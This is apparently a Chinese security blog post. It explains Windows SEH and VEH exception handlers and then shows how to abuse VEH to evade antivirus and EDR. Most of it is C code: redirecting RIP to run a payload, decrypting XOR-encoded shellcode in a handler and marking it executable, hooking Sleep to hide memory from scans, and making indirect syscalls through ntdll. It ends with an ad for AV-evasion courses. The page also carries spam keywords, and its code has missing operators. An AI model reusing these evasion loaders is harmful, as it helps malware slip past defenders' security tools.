公司网站怎么做才高大上,wordpress添加爬虫数据,网页升级紧急通知网页打不开,企查查在线查询从安全角度看 SEH 和 VEH
异常处理程序是处理程序中不可预见的错误的基本方法之一 https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
SEH——结构化异常处理程序
就其工作方式而言#xff0c;异常处理程序与其他处理程序相比相当基础#xff0…从安全角度看 SEH 和 VEH
异常处理程序是处理程序中不可预见的错误的基本方法之一 https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
SEH——结构化异常处理程序
就其工作方式而言异常处理程序与其他处理程序相比相当基础有一个 try 块用于包装不安全代码还有一个 except 块用于在生成特定异常时进行处理。
在下面的代码中示例中可以通过将 0 作为第二个输入来生成异常因为除以零是系统生成的异常。这被包装在try块中过滤器代码会检查这是什么类型的异常在这种情况下如果是EXCEPTION_INT_DIVIDE_BY_ZERO将继续处理包装在except块中的异常。
int main()
{__try{int inp1 0, inp2 0;printf(第一个输入: );scanf_s(%d, inp1);printf(第二个输入: );scanf_s(%d, inp2);int result inp1 / inp2;printf(结果: %d, result);}__except ((_exception_code() EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH){printf(触发的异常是: EXCEPTION_FLT_DIVIDE_BY_ZERO\n);}return 0;
}
从编译时开始。编译器生成有关异常的所有必要信息异常类型过滤器的位置和处理它的最终代码等最后将它们内嵌到PE文件的异常框架中
VEH——向量异常处理程序
向量异常处理是结构化异常处理的扩展这些处理程序使用回调函数机制工作。每当发生异常时就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在程序中的任何位置注册回调。
需要注意的是VEH 异常处理程序是全局注册的并不与单个函数或单个堆栈框架绑定。由于向后兼容系统首先调用所有 VEH 处理程序如果所有处理程序均未执行该处理程序则将其传递给 SEH。此外VEH 以循环链接列表的形式实现。
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
winAPI 有两个参数 第一个参数定义处理函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处理程序。 第二个参数是要注册的回调函数的指针。
回调函数定义如下
PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
第一个参数中指向结构的指针定义如下
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
该结构包含两个主要成员
结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包含定义的异常的详细信息
ExceptionRecord定义如下:
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
第一个元素是最常用的它包含产生了什么类型的异常例如STATUS_INTEGER_DIVISION_BY_ZERO。
第二个指针指向结构CONTEXT其中包含异常发生时CPU上下文的所有细节。这个结构非常重要因为它可以允许读取和写回数据一旦执行恢复这些数据将直接在CPU上应用。这是因为当异常处理程序完成其执行时系统将根据返回值继续搜索异常或继续执行进程。
当系统继续执行进程时它调用RtlRestoreContext winAPI来恢复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的安全产品通常不会检测到这种CPU状态覆盖。
VEH 的使用非常简单
注册一个名为VEHHandler()的处理程序它将成为VEH异常列表中的全局处理程序。这个处理程序负责检查发生的异常是否是想要的异常。
LONG WINAPI VEHHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_FLOAT_DIVIDE_BY_ZERO) {printf(触发的异常是: STATUS_INTEGER_DIVIDE_BY_ZERO\n);}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 AddVectoredExceptionHandler(1, VEHHandler);int inp1 0, inp2 0;printf(第一个输入: );scanf_s(%d, inp1);printf(第二个输入: );scanf_s(%d, inp2);int result inp1 / inp2;printf(结果: %d, result);RemoveVectoredExceptionHandler(h1);return 0;
}
与SEH不同VEH可以被认为是一种运行时机制因为处理程序是在运行时过程中的任何地方注册和删除的。 异常处理技术在绕过防护机制中的应用
执行payload
由于可以访问 context 结构所以可以直接修改 RIP 寄存器的内容以指向想要的任何位置这意味着可以进行间接调用。
void myFunction() {
//payload..........printf([*] myFunction() Called\n);
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_FLOAT_DIVIDE_BY_ZERO) {ULONG64 Offset 0x1000;HMODULE BaseAddress GetModuleHandleA(NULL);printf([*]进程基地址: %#llx\n, (ULONG64)BaseAddress);ULONG64 FunctionAddress (ULONG64)BaseAddress Offset;printf([*] myFunction地址: %#llx\n, (ULONG64)FunctionAddress);ExceptionInfo-ContextRecord-Rip (DWORD64)FunctionAddress;}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 AddVectoredExceptionHandler(1, testHandler);int inp1 0, inp2 0;int result inp1 / inp2;RemoveVectoredExceptionHandler(h1);return 0;
}
运行时代码解密规避内存扫描
使用异常EXCEPTION_ACCESS_VIOLATION该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中全局变量不是可执行内存区域所以可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。
#define XOR_KEY 0x66char encode_shellcode[] \x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................;LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_ACCESS_VIOLATION) {printf([*] 进入异常处理\n);DWORD flOldProtect;for (int i 0; i sizeof(enc_shellcode); i) {encode_shellcode[i] ^ XOR_KEY;}BOOL res VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, flOldProtect);if (res TRUE) {printf([*] 执行权限改为 PAGE_EXECUTE\n);}}return EXCEPTION_CONTINUE_EXECUTION;
}int main()
{PVOID h1 AddVectoredExceptionHandler(1, testHandler);(*(void (*)()) encode_shellcode)();RemoveVectoredExceptionHandler(h1);return 0;
}
然后再Hook Sleep函数将功能模块的内存属性改为不可执行便可规避后续的内存扫描。
static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) Sleep;
void WINAPI NewCustomSleep(DWORD dwMilliseconds) {if (CustomFlag){VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);CustomFlag false;}printf(custom sleep time:%d\n, dwMilliseconds);unhookCustomSleep();OrigSleep(dwMilliseconds);hookCustomSleep();
}
void hookCustomSleep() {DWORD dwOldProtect NULL;BYTE pCustomData[5] { 0xe9,0x0,0x0,0x0,0x0 };RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));DWORD dwCustomOffset (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;RtlCopyMemory(pCustomData[1], dwCustomOffset, sizeof(dwCustomOffset));VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, dwOldProtect);RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));VirtualProtect(OrigSleep, 5, dwOldProtect, dwOldProtect);
}
void unhookCustomSleep() {DWORD dwOldProtect NULL;VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, dwOldProtect);RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));VirtualProtect(OrigSleep, 5, dwOldProtect, dwOldProtect);
}
运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现读者可以尝试 间接系统调用
与上面提到的可能性类似也可以修改RIP用ntdll.dll库中的地址覆盖它以执行间接的系统调用。
系统调用由寄存器 RAX 控制其中包含称为 SSN系统服务编号
HOOK技术是AV/EDR常用的检测机制尽管使用syscall可以绕过检测但这导致了另一种可能的检测机制。在自己的程序中使用系统调用称为直接系统调用技术而从其他进程(如库本身)调用系统调用称为间接系统调用技术。
当在自己的程序中使用系统调用时通常可以通过简单的签名被检测到通过检查系统调用的来源系统调用的返回地址应该是通过合法的源(如ntdll.dll本身)发生的但是如果不是这样它就会发出一个主要的危险信号。这是可以避免的可以使用向量异常处理进行间接系统调用这种技术提供了一个看起来非常合法的调用堆栈。这有助于大大降低被发现的可能性
最简单的方法是利用异常STATUS_ACCESS_VIOLATION该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中在本例中是0x18它对应于系统调用ntallocatvirtualmemory然后将其转换为函数并调用它。本质上它调用地址0x18的函数这显然不是一个有效的地址。这反过来会生成STATUS_ACCESS_VIOLATION异常。现在要将参数传递给函数只需像调用其他函数一样调用存储SSN的变量上下文将包含传递的参数。
一旦生成异常就可以模拟系统调用指令就像在ntdll.dll中找到它一样并将控制流更改为dll中的系统调用地址。
typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (IN HANDLE ProcessHandle,IN OUT PVOID* BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);ULONG_PTR FindSyscallAddr() {FARPROC fnDrawText GetProcAddress(GetModuleHandleA(ntdll.dll), NtDrawText);BYTE* ptr_sysaddr (BYTE*)(fnDrawText);BYTE sig_syscall[] { 0x0f, 0x05, 0xc3 };int cnt_sig 0, cnt_fn 0;while (TRUE) {if (ptr_sysaddr[cnt_fn] sig_syscall[cnt_sig]) {cnt_fn;cnt_sig;if (cnt_sig sizeof(sig_syscall)) {ptr_sysaddr cnt_fn - sizeof(sig_syscall);break;}}else {cnt_fn cnt_fn - cnt_sig 1;cnt_sig 0;}}return (ULONG_PTR)ptr_sysaddr;
}LONG WINAPI testHandler(struct _EXCEPTION_POINTERS* ExceptionInfo
) {if (ExceptionInfo-ExceptionRecord-ExceptionCode STATUS_ACCESS_VIOLATION) {ExceptionInfo-ContextRecord-R10 ExceptionInfo-ContextRecord-Rcx;DWORD64 ssn ExceptionInfo-ContextRecord-Rip;printf([*] Syscall Number: %#x\n, (INT32)ssn);ExceptionInfo-ContextRecord-Rax ssn;ULONG_PTR SyscallAddr FindSyscallAddr();ExceptionInfo-ContextRecord-Rip SyscallAddr;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}int main()
{PVOID h1 AddVectoredExceptionHandler(1, testHandler);pfnNtAllocateVirtualMemory NtAllocateVirtualMemory (pfnNtAllocateVirtualMemory)0x18;PVOID retAddr NULL;ULONG size 0x1000;NtAllocateVirtualMemory(GetCurrentProcess(), retAddr, NULL, (PULONG)size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (retAddr NULL) {printf([!] NtAllocateVirtualMemory Failed\n);}else {printf([*] NtAllocateVirtualMemory Success: %#llx\n, (ULONG64)retAddr);}RemoveVectoredExceptionHandler(h1);return 0;
}
大家伙如果想学习更多的知识可以看我们的论坛 哔哩哔哩有免杀基础课程搜索账号老鑫安全培训老鑫安全二进制